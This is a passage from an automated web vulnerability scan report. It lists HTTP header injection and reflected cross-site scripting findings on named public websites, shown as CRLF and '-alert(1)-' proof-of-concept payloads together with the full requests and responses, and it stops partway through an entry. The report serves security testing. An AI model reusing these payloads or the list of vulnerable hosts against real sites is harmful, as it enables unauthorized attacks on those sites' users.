Content-Length: 178
Connection: keep-alive
Location: http://livingsocial.com/a8e30
b8e0c5a066b

<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>

5.7. http://www.people.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.people.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload fade4%0d%0a04e193106f1 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /fade4%0d%0a04e193106f1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.people.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 02 Apr 2011 12:43:26 GMT
Location: http://www.people.com/people/fade4
04e193106f1
Vary: Accept-Encoding
Content-Length: 319
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.people.com/p
...[SNIP]...

5.8. http://www.peoplestylewatch.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.peoplestylewatch.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 894db%0d%0ab895b7fee0e was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /894db%0d%0ab895b7fee0e HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.peoplestylewatch.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 02 Apr 2011 13:56:32 GMT
Location: http://www.people.com/894db
b895b7fee0e
Vary: Accept-Encoding
Content-Length: 322
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.people.com/8
...[SNIP]...

5.9. http://www.salesforce.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.salesforce.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 7f0d3%0d%0a3d52478bda4 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /7f0d3%0d%0a3d52478bda4 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.salesforce.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Server: SFDC
Location: /7f0d3
3d52478bda4/
Date: Sat, 02 Apr 2011 13:46:30 GMT
Content-Length: 77

The URL has moved to <a href="/7f0d3
3d52478bda4/">/7f0d3
3d52478bda4/</a>

5.10. http://www.shop.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shop.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload e81a0%0d%0a052c3a9c4af was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

GET /favicon.ico?e81a0%0d%0a052c3a9c4af=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shop.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Sat, 02 Apr 2011 13:41:32 GMT
Content-Type: text/html
Content-Length: 301
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?e81a0
052c3a9c4af=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?e81a0
052c3a9c4af=1">
</head>
<body><h1>Object Moved</h1>This document may be found <a href=
...[SNIP]...

5.11. http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shopcompanion.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 3f544%0d%0a18f859d78f2 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

GET /favicon.ico?3f544%0d%0a18f859d78f2=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shopcompanion.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Sat, 02 Apr 2011 14:00:40 GMT
Content-Type: text/html
Content-Length: 301
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?3f544
18f859d78f2=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?3f544
18f859d78f2=1">
</head>
<body><h1>Object Moved</h1>This document may be found <a href=
...[SNIP]...

5.12. http://www.tbo.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tbo.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload fefb7%0d%0ad3916ee3b78 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /fefb7%0d%0ad3916ee3b78 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.tbo.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Server: nginx/0.6.32
Date: Sat, 02 Apr 2011 13:59:19 GMT
Content-Type: text/html
Content-Length: 185
Connection: keep-alive
Location: http://www2.tbo.com/fefb7
d3916ee3b78
Server-Name: media2

<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/0.6.32</center>
</body>
</html>

5.13. http://www.thisoldhouse.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thisoldhouse.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload ff592%0d%0afdec1d1094 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /ff592%0d%0afdec1d1094 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.thisoldhouse.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 02 Apr 2011 14:13:11 GMT
Location: http://www.thisoldhouse.com/toh/ff592
fdec1d1094
Vary: Accept-Encoding
Content-Length: 327
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.thisoldhouse
...[SNIP]...

5.14. http://www.wn.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wn.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload aa6b8%0d%0a651e1e31954 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /aa6b8%0d%0a651e1e31954 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.wn.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 02 Apr 2011 13:39:56 GMT
Server: Apache/2.2.16 (Debian)
Location: http://wn.com/aa6b8
651e1e31954
Vary: Accept-Encoding
Content-Length: 316
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://wn.com/aa6b8
65
...[SNIP]...

5.15. http://www.youravon.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.youravon.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 3419d%0d%0a6094b152882 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /3419d%0d%0a6094b152882 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.youravon.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Sat, 02 Apr 2011 13:37:45 GMT
Server: IBM_HTTP_Server
Location: http://3419d
6094b152882.avonrepresentative.com/
Content-Length: 301
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://3419d
6094b152882.avonrepresentative.co
...[SNIP]...

6. Cross-site scripting (reflected) previous next
There are 122 instances of this issue:

http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [adurl parameter]
http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [ai parameter]
http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [client parameter]
http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [num parameter]
http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [sig parameter]
http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [sz parameter]
http://www.4shared.com/favicon.ico [REST URL parameter 1]
http://www.4shared.com/favicon.ico [REST URL parameter 1]
http://www.aboutus.org/favicon.ico [REST URL parameter 1]
http://www.allbusiness.com/favicon.ico [REST URL parameter 1]
http://www.allbusiness.com/favicon.ico [REST URL parameter 1]
http://www.allvoices.com/favicon.ico [REST URL parameter 1]
http://www.answerbag.com/favicon.ico [REST URL parameter 1]
http://www.beyond.com/favicon.ico [REST URL parameter 1]
http://www.biblegateway.com/favicon.ico [REST URL parameter 1]
http://www.biblegateway.com/favicon.ico [REST URL parameter 1]
http://www.blackplanet.com/favicon.ico [REST URL parameter 1]
http://www.blurtit.com/favicon.ico [REST URL parameter 1]
http://www.blurtit.com/favicon.ico [REST URL parameter 1]
http://www.booking.com/favicon.ico [REST URL parameter 1]
http://www.buzzillions.com/favicon.ico [REST URL parameter 1]
http://www.buzzillions.com/favicon.ico [REST URL parameter 1]
http://www.buzzillions.com/favicon.ico [REST URL parameter 1]
http://www.caringbridge.org/favicon.ico [REST URL parameter 1]
http://www.cliffsnotes.com/favicon.ico [REST URL parameter 1]
http://www.colbertnation.com/favicon.ico [REST URL parameter 1]
http://www.collegehumor.com/favicon.ico [REST URL parameter 1]
http://www.collegehumor.com/favicon.ico [REST URL parameter 1]
http://www.collegehumor.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.collegehumor.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.craveonline.com/favicon.ico [REST URL parameter 1]
http://www.craveonline.com/favicon.ico [REST URL parameter 1]
http://www.csmonitor.com/favicon.ico [REST URL parameter 1]
http://www.docstoc.com/favicon.ico [REST URL parameter 1]
http://www.domaintools.com/favicon.ico [REST URL parameter 1]
http://www.driverside.com/favicon.ico [REST URL parameter 1]
http://www.education.com/favicon.ico [REST URL parameter 1]
http://www.egotastic.com/favicon.ico [REST URL parameter 1]
http://www.egotastic.com/favicon.ico [REST URL parameter 1]
http://www.elyrics.net/favicon.ico [REST URL parameter 1]
http://www.elyricsworld.com/favicon.ico [REST URL parameter 1]
http://www.elyricsworld.com/favicon.ico [REST URL parameter 1]
http://www.elyricsworld.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.elyricsworld.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.everydayhealth.com/favicon.ico [REST URL parameter 1]
http://www.gamespot.com/favicon.ico [REST URL parameter 1]
http://www.gamestop.com/favicon.ico [REST URL parameter 1]
http://www.gather.com/favicon.ico [REST URL parameter 1]
http://www.gather.com/favicon.ico [REST URL parameter 1]
http://www.gourmandia.com/favicon.ico [REST URL parameter 1]
http://www.healthline.com/favicon.ico [REST URL parameter 1]
http://www.healthline.com/favicon.ico [REST URL parameter 1]
http://www.hollywood.com/favicon.ico [REST URL parameter 1]
http://www.inc.com/favicon.ico [REST URL parameter 1]
http://www.instructables.com/favicon.ico [REST URL parameter 1]
http://www.kaboose.com/favicon.ico [REST URL parameter 1]
http://www.letssingit.com/favicon.ico [REST URL parameter 1]
http://www.letssingit.com/favicon.ico [REST URL parameter 1]
http://www.mainstreet.com/favicon.ico [REST URL parameter 1]
http://www.manta.com/favicon.ico [REST URL parameter 1]
http://www.manta.com/favicon.ico [REST URL parameter 1]
http://www.manta.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.manta.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.marthastewart.com/favicon.ico [REST URL parameter 1]
http://www.mayoclinic.com/favicon.ico [REST URL parameter 1]
http://www.mayoclinic.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.mayoclinic.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.mediaite.com/favicon.ico [REST URL parameter 1]
http://www.motime.com/favicon.ico [REST URL parameter 1]
http://www.motime.com/favicon.ico [REST URL parameter 1]
http://www.mp3raid.com/favicon.ico [REST URL parameter 1]
http://www.mp3raid.com/favicon.ico [REST URL parameter 1]
http://www.mycricket.com/favicon.ico [REST URL parameter 1]
http://www.mylifetime.com/favicon.ico [REST URL parameter 1]
http://www.mylifetime.com/favicon.ico [REST URL parameter 1]
http://www.nydailynews.com/favicon.ico [REST URL parameter 1]
http://www.oodle.com/favicon.ico [REST URL parameter 1]
http://www.oodle.com/favicon.ico [REST URL parameter 1]
http://www.pronto.com/favicon.ico [REST URL parameter 1]
http://www.rent.com/favicon.ico [REST URL parameter 1]
http://www.rent.com/favicon.ico [REST URL parameter 1]
http://www.reverbnation.com/favicon.ico [REST URL parameter 1]
http://www.shangri-la.com/favicon.ico [REST URL parameter 1]
http://www.shopcompanion.com/favicon.ico [REST URL parameter 1]
http://www.smarter.com/favicon.ico [REST URL parameter 1]
http://www.soft82.com/favicon.ico [REST URL parameter 1]
http://www.songmeanings.net/favicon.ico [REST URL parameter 1]
http://www.songmeanings.net/favicon.ico [REST URL parameter 1]
http://www.spike.com/favicon.ico [REST URL parameter 1]
http://www.supercheats.com/favicon.ico [REST URL parameter 1]
http://www.tarot.com/favicon.ico [REST URL parameter 1]
http://www.tarot.com/favicon.ico [REST URL parameter 1]
http://www.tarot.com/favicon.ico [REST URL parameter 1]
http://www.thedailybeast.com/favicon.ico [REST URL parameter 1]
http://www.thedailyshow.com/favicon.ico [REST URL parameter 1]
http://www.thehollywoodgossip.com/favicon.ico [REST URL parameter 1]
http://www.thirdage.com/favicon.ico [REST URL parameter 1]
http://www.thomasnet.com/favicon.ico [REST URL parameter 1]
http://www.tradekey.com/favicon.ico [REST URL parameter 1]
http://www.trails.com/favicon.ico [REST URL parameter 1]
http://www.travelpod.com/favicon.ico [REST URL parameter 1]
http://www.videojug.com/favicon.ico [REST URL parameter 1]
http://www.videosurf.com/favicon.ico [REST URL parameter 1]
http://www.walletpop.com/favicon.ico [REST URL parameter 1]
http://www.washington.edu/favicon.ico [REST URL parameter 1]
http://www.wowhead.com/favicon.ico [REST URL parameter 1]
http://www.wowhead.com/favicon.ico [REST URL parameter 1]
http://www.yakaz.com/favicon.ico [REST URL parameter 1]
http://www.yellowpages.com/favicon.ico [REST URL parameter 1]
http://www.yellowpages.com/favicon.ico [REST URL parameter 1]
http://www.yourdictionary.com/favicon.ico [REST URL parameter 1]
http://www.kcom.com/contact-us/ [Referer HTTP header]
http://www.canada.com/favicon.ico [REST URL parameter 1]
http://www.multiply.com/favicon.ico [REST URL parameter 1]
http://www.multiply.com/favicon.ico [REST URL parameter 1]
http://www.multiply.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.shop.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.shop.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.townhall.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.townhall.com/favicon.ico [name of an arbitrarily supplied request parameter]

6.1. http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N1260.Google.com/B5219922.27

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b0fb"-alert(1)-"131e368384f was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N1260.Google.com/B5219922.27;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=1b0fb"-alert(1)-"131e368384f HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998819&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcapec-86-dork-xss-cross-site-scripting-examples.html&dt=1301749042824&bpp=3&shv=r20110324&jsv=r20110321-2&correlator=1301749042836&frm=0&adk=1607234649&ga_vid=1243467471.1301749043&ga_sid=1301749043&ga_hid=1328169759&ga_fc=0&u_tz=-300&u_his=21&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=998&bih=1004&fu=0&ifi=1&dtd=16&xpc=E2Nhb6Q087&p=http%3A//xss.cx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7224
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 02 Apr 2011 13:00:26 GMT
Expires: Sat, 02 Apr 2011 13:00:26 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
XBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=1b0fb"-alert(1)-"131e368384fhttp://www.webex.com/lpintl/us/banner/next-meeting-together.html?TrackID=1024434");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess =
...[SNIP]...

6.2. http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [ai parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N1260.Google.com/B5219922.27

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 61763"-alert(1)-"fd5b291024e was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N1260.Google.com/B5219922.27;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ61763"-alert(1)-"fd5b291024e&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=;ord=879784873? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998819&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcapec-86-dork-xss-cross-site-scripting-examples.html&dt=1301749042824&bpp=3&shv=r20110324&jsv=r20110321-2&correlator=1301749042836&frm=0&adk=1607234649&ga_vid=1243467471.1301749043&ga_sid=1301749043&ga_hid=1328169759&ga_fc=0&u_tz=-300&u_his=21&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=998&bih=1004&fu=0&ifi=1&dtd=16&xpc=E2Nhb6Q087&p=http%3A//xss.cx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 02 Apr 2011 12:57:47 GMT
Vary: Accept-Encoding
Expires: Sat, 02 Apr 2011 12:57:47 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7244

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
HN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ61763"-alert(1)-"fd5b291024e&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fwww.webex.com/lpintl/us/banner/lets-get-together.html%3FTrackID%3D1024433");
var fscUrl = url;
var fscU
...[SNIP]...

6.3. http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N1260.Google.com/B5219922.27

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 20aba"-alert(1)-"6d10011bb3f was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N1260.Google.com/B5219922.27;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-406387893378091220aba"-alert(1)-"6d10011bb3f&adurl=;ord=879784873? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998819&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcapec-86-dork-xss-cross-site-scripting-examples.html&dt=1301749042824&bpp=3&shv=r20110324&jsv=r20110321-2&correlator=1301749042836&frm=0&adk=1607234649&ga_vid=1243467471.1301749043&ga_sid=1301749043&ga_hid=1328169759&ga_fc=0&u_tz=-300&u_his=21&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=998&bih=1004&fu=0&ifi=1&dtd=16&xpc=E2Nhb6Q087&p=http%3A//xss.cx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 02 Apr 2011 12:59:52 GMT
Vary: Accept-Encoding
Expires: Sat, 02 Apr 2011 12:59:52 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7244

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
RtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-406387893378091220aba"-alert(1)-"6d10011bb3f&adurl=http%3a%2f%2fwww.webex.com/lpintl/us/banner/lets-get-together.html%3FTrackID%3D1024433");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowsc
...[SNIP]...

6.4. http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [num parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N1260.Google.com/B5219922.27

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d09c"-alert(1)-"9ece5572fb6 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

